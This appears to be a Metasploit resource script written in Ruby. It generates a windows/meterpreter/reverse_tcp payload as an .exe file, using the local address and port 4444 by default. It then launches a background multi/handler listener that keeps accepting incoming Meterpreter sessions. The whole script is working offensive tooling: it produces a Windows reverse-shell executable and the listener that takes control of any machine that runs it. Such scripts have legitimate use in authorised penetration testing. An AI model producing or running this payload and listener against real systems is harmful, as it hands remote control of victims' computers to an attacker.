PAYLOAD = 'windows/meterpreter/reverse_tcp' def payload_lhost framework.datastore['LHOST'] || Rex::Socket.source_address end def payload_lport framework.datastore['LPORT'] || 4444 end def out_path "#{Msf::Config::local_directory}/meterpreter_reverse_tcp.exe" end # Please see: # https://github.com/rapid7/metasploit-framework/issues/7603 sleep(1) run_single("use payload/#{PAYLOAD}") run_single("set lhost #{payload_lhost}") run_single("set lport #{payload_lport}") run_single("generate -t exe -f #{out_path}") print_status("#{PAYLOAD}'s LHOST=#{payload_lhost}, LPORT=#{payload_lport}") print_status("#{PAYLOAD} is at #{out_path}") run_single('use exploit/multi/handler') run_single("set payload #{PAYLOAD}") run_single("set lhost #{payload_lhost}") run_single("set lport #{payload_lport}") run_single('set exitonsession false') run_single('run -j')